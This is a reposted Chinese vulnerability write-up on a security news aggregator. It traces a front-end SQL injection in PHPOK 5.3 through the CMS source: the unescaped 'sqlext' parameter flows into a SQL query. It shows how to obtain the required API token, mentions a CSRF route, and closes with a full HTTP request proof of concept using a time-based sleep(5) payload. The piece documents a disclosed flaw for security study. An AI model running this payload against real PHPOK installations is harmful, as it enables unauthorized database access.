Sec Hotspot 首页  收藏本站  技术博客  RSS
统计信息
已收录文章数量:6510 篇
已收录公众号数量:89 个
本站文章为爬虫采集,如有侵权请告知
已收录微信公众号
网信中国 区块链大本营 白说区块链 区块链投资家 区块链官微 区块链铅笔Blockchain HACK学习呀 二道情报贩子 合天智汇 小白帽学习之路 小米安全中心 弥天安全实验室 SAINTSEC SecPulse安全脉搏 TideSec安全团队 360安全卫士 游侠安全网 计算机与网络安全 安全祖师爷 安全学习那些事 腾讯安全联合实验室 黑客技术与网络安全 安全圈 腾讯御见威胁情报中心 Python开发者 Python之禅 编程派 Python那些事 Python程序员 安全威胁情报 吾爱破解论坛 行长叠报 安在 i春秋 嘶吼专业版 E安全 MottoIN 网信防务 网安杂谈 数说安全 互联网安全内参 漏洞战争 安全分析与研究 邑安全 ChaMd5安全团队 天融信阿尔法实验室 安全牛 SecWiki 安全学术圈 信安之路 漏洞感知 浅黑科技 Secquan圈子社区 奇安信集团 奇安信 CERT 国舜股份 雷神众测 盘古实验室 美团安全应急响应中心 瓜子安全应急响应中心 顺丰安全应急响应中心 蚂蚁金服安全响应中心 携程安全应急响应中心 滴滴安全应急响应中心 字节跳动安全中心 百度安全应急响应中心 腾讯安全应急响应中心 网易安全应急响应中心 OPPO安全应急响应中心 京东安全应急响应中心 Bypass CNNVD安全动态 安恒应急响应中心 天融信每日安全简报 奇安信威胁情报中心 看雪学院 黑白之道 水滴安全实验室 安全客 木星安全实验室 云鼎实验室 绿盟科技安全预警 白帽汇 深信服千里目安全实验室 腾讯玄武实验室 长亭安全课堂 FreeBuf 绿盟科技 nmask
PHPOK 5.3 最新版前台注入
本文来自公众号:邑安全   2019.12.02 09:49:19

更多全球网络安全资讯尽在邑安全

www.eansec.com


注入点分析

底层获取参数: $this->get() 方法
framework/init.php#get

final public function get($id,$type="safe",$ext="")
{
// PGC全局获取
$val = isset($_POST[$id]) ? $_POST[$id] : (isset($_GET[$id]) ? $_GET[$id] : (isset($_COOKIE[$id]) ? $_COOKIE[$id] : ''));
if($val == ''){
if($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval'){
return 0;
}else{
return '';
}
}
//判断内容是否有转义,所有未转义的数据都直接转义
$addslashes = false;
if(function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()){
$addslashes = true;
}
if(!$addslashes){
$val = $this->_addslashes($val);
}
return $this->format($val,$type,$ext);
}

跟进format函数:framework/init.php#format

final public function format($msg,$type="safe",$ext="")
{
if($msg == ""){
return '';
}
if(is_array($msg)){
foreach($msg as $key=>$value){
if(!is_numeric($key)){
$key2 = $this->format($key);
if($key2 == '' || in_array($key2,array('#','&','%'))){
unset($msg[$key]);
continue;
}
}
$msg[$key] = $this->format($value,$type,$ext);
}
if($msg && count($msg)>0){
return $msg;
}
return false;
}
if($type == 'html_js' || ($type == 'html' && $ext)){
$msg = stripslashes($msg);
if($this->app_id != 'admin'){
$msg = $this->lib('string')->xss_clean($msg);
}
$msg = $this->lib('string')->clear_url($msg,$this->url);
return addslashes($msg);
}
// 转义去除
$msg = stripslashes($msg);
//格式化处理内容
switch ($type){
case 'safe_text':
$msg = strip_tags($msg);
$msg = str_replace(array("\\","'",'"',"<",">"),'',$msg);
break;
case 'system':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
break;
case 'id':
$msg = !preg_match("/^[a-zA-Z][a-z0-9A-Z\_\-]+$/u",$msg) ? false : $msg;
break;
case 'checkbox':
$msg = strtolower($msg) == 'on' ? 1 : $this->format($msg,'safe');
break;
case 'int':
$msg = intval($msg);
break;
case 'intval':
$msg = intval($msg);
break;
case 'float':
$msg = floatval($msg);
break;
case 'floatval':
$msg = floatval($msg);
break;
case 'time':
$msg = strtotime($msg);
break;
case 'html':
$msg = $this->lib('string')->safe_html($msg,$this->url);
break;
case 'func':
$msg = function_exists($ext) ? $ext($msg) : false;
break;
case 'text':
$msg = strip_tags($msg);
break;
default:
$msg = str_replace(array("\\","'",'"',"<",">"),array("&#92;","&#39;","&quot;","&lt;","&gt;"),$msg);
break;
}
if($msg){
$msg = addslashes($msg);
}
return $msg;
}

format默认为safe模式,也就是仅仅将 \ " ' < > 实体编码。

注入点:
framework/api/index_control.php#phpok_f

//...
$token = $this->get("token");
if(!$token){
$this->json(P_Lang("接口数据异常"));
}
$this->lib('token')->keyid($this->site['api_code']);
$info = $this->lib('token')->decode($token);
if(!$info){
$this->json(P_Lang('信息为空'));
}
$id = $info['id'];

// 176行
$ext = $this->get('ext');
if($ext && is_array($ext)){
foreach($ext as $key=>$value){
if(!$value){
continue;
}
// sqlext变量转义取消
if($key == 'sqlext' && $value){
$value = str_replace(array('&#39;','&quot;','&apos;','&#34;'),array("'",'"',"'",'"'),$value);
}
$param[$key] = $value;
}
}
// $id 从加密的token中来
// 拼接sqlext的值的函数只有_userlist、_arc_condition_single、_arc_condition
$list = $this->call->phpok($id,$param);

继续跟进phpok函数:framework/phpok_call.php#phpok

public function phpok($id,$rs="")
{
// 76行
$siteinfo = $this->model('site')->get_one($rs['site']);
// 91行
if(substr($id,0,1) != '_'){
//$id 从token中来,为phpok表中identifier字段, $rs['site']可控为任意值
$call_rs = $this->load_phpoklist($id,$rs['site']);
}
// 116行
$func = '_'.$call_rs['type_id'];
// 131行 动态调用函数_xxxx
return $this->$func($call_rs,$cache_id);
}

跟进load_phpoklist:framework/phpok_call.php#load_phpoklist

private function load_phpoklist($id,$siteid=0)
{
$this->model('call')->site_id($siteid);
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
$this->_cache = $this->model('call')->all($siteid,'identifier');
if($this->_cache && $this->_cache[$id]){
return $this->_cache[$id];
}
return false;
}

这一段代码 $this->model('call')->all($siteid,'identifier'); 实现的是查询phpok表where identifier=xxx的信息,接着在 phpok() 函数的131行进行动态调用其字段为 type_id 的值函数。

比如我们要调用 framework/phpok_call.php 下的 _arclist 函数,我们可以传入:
/api.php?c=index&f=phpok&ext[site]=1&token=加密('id=m_picplayer')

接着我们在 framework/phpok_call.php 寻找可触发sql的函数,从phpok表里我们可以看到其默认的type_id只有四个不同的值 arclist arc catelist project ,而我们需要找到拼接 sqlext 变量的函数:
framework/phpok_call.php#_arclist

private function _arclist($rs,$cache_id='')
{
// 254行
$condition = $this->_arc_condition($rs,$flist,$project);
// 带入注入数据
$array['total'] = $this->model('list')->arc_count($project['module'],$condition);
}

跟进:framework/phpok_call.php#_arc_condition
直接拼接了sqlext

private function _arc_condition($rs,$fields='',$project='')
{
// 623行
if($rs['sqlext']){
$condition .= " AND ".$rs['sqlext'];
}

// 671行
return $condition;
}

接着将结果带入了:

$this->model('list')->arc_count($project['module'],$condition);

调用:framework/model/list.php#arc_count
5.jpg

拼接sql,调用 $this->db->count($sql)
framework/engine/db/mysqli.php#count

public function count($sql="",$is_count=true)
{
if($sql && is_string($sql) && $is_count){
$this->set('type','num');
$rs = $this->get_one($sql);
$this->set('type','assoc');
return $rs[0];
}else{
if($sql && is_string($sql)){
$this->query($sql);
}
if($this->query){
return mysqli_num_rows($this->query);
}
}
return false;
}

根进get_one函数:framework/engine/db/mysqli.php#get_one

public function get_one($sql='')
{
if($sql){
$false = $this->cache_false($sql);
if($false){
return false;
}
if($this->cache_get($sql)){
return $this->cache_get($sql);
}
$this->query($sql);

根进 $this->query($sql); :framework/engine/db/mysqli.php#query

最终将sql带入执行。

当然,到这里,其实还有一个问题没有解决,我们需要如果拿到 token=加密('id=m_picplayer')
framework/api/index_control.php#token_f

public function token_f()
{
$this->config('is_ajax',true);
if(!$this->site['api_code']){
$this->error(P_Lang("系统未配置接口功能"));
}
$id = $this->get('id','system');
if(!$id){
$this->error(P_Lang('未指定数据调用标识'));
}
$this->model('call')->site_id($this->site['id']);
// 限制字段where identifier=$id
$rs = $this->model('call')->get_one($id,'identifier');
if(!$rs || !$rs['status']){
$this->error(P_Lang('标识不存在或未启用'));
}

//141行
$array = array('id'=>$id,'param'=>$param);
$token = $this->lib('token')->encode($array);
$this->success($token);
}

其中第一个if条件需要在后台生成api字符串:

没开启的话,其实构造一个csrf的poc也是可以的

第二个条件传入 id=m_picplayer 即可。

url: http://phpok5_3_147/api.php?c=index&f=token&id=m_picplayer

poc:

GET /api.php?c=index&f=phpok&token=6318fdtC3WRpOzYNzKVNw78PFa9OhFea5pp3/uZ4U3T67a/F47WhJ0lr856V7yomOcG0u8/UJpIwKKOwJAKspTSWN+5ljVNWR5978g7HHoG14M&ext[sqlext]=sleep(5)%23&ext[site]=1 HTTP/1.1
Host: phpok5_3_147
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; U; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: PHPSESSION=l87bngd1u307g20iudfmphisu4
Connection: close

调用栈:

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

Django入门之旅-启程

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP)